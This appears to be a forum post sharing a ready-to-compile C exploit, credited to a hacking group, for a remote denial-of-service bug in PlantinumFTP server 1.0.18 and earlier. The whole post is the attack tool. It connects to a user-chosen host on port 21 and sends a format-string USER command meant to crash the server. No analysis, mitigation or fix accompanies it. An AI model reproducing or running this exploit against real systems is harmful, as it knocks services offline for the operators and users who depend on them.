Here is simple exploit for PlantinumFTP server DOS bug. /* * PlantinumFTP server <= 1.0.18 Remote DOS exploit * ------------------------------------------------- * PlantinumFTP server exploit for Remote Denial of Service bug * in PlantinumFTP founded by ports. * * Coded by Exoduks - exoduks[at]gmail.com * HackGen Team - www.hackgen.org * * Compile: gcc -o pFTP_dos pFTP_dos.c * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 21 int main(int argc, char **argv) { char buffer[50]; char *host_ip; int mysock; struct sockaddr_in name; struct hostent *myhost; printf("\n PlantinumFTP server <= 1.0.18 Remote DOS exploit\n"); printf(" -------------------------------------------------\n"); printf(" Coded by Exoduks - exoduks[at]gmail.com\n"); printf(" HackGen Team - www.hackgen.org\n"); printf(" -------------------------------------------------\n"); printf(" [+] Creating socket !\n"); mysock = socket(PF_INET, SOCK_STREAM, 0); if (mysock == -1) { printf("[-] Socket error !\n"); return 1; } host_ip = argv[1]; if (host_ip == NULL) { printf(" [-] Host error ! - Usage: %s <ip/host> !\n\n", argv[0]); return 1; } myhost = gethostbyname(host_ip); name.sin_family = AF_INET; name.sin_addr = *((struct in_addr*) myhost->h_addr); name.sin_port = htons(PORT); printf(" [+] Connecting to target on port %d!\n", PORT); if (connect (mysock, (struct sockaddr*)&name, sizeof(struct sockaddr_in)) == -1) { printf(" [-] Connection error !\n"); return 2; } printf(" [+] Sending exploit !\n"); sprintf(buffer, "%s", "USER %s%s%s%s\r\n"); write(mysock, buffer, strlen(buffer)); printf(" [+] Exploit sent !\n\n"); close(mysock); return 0; }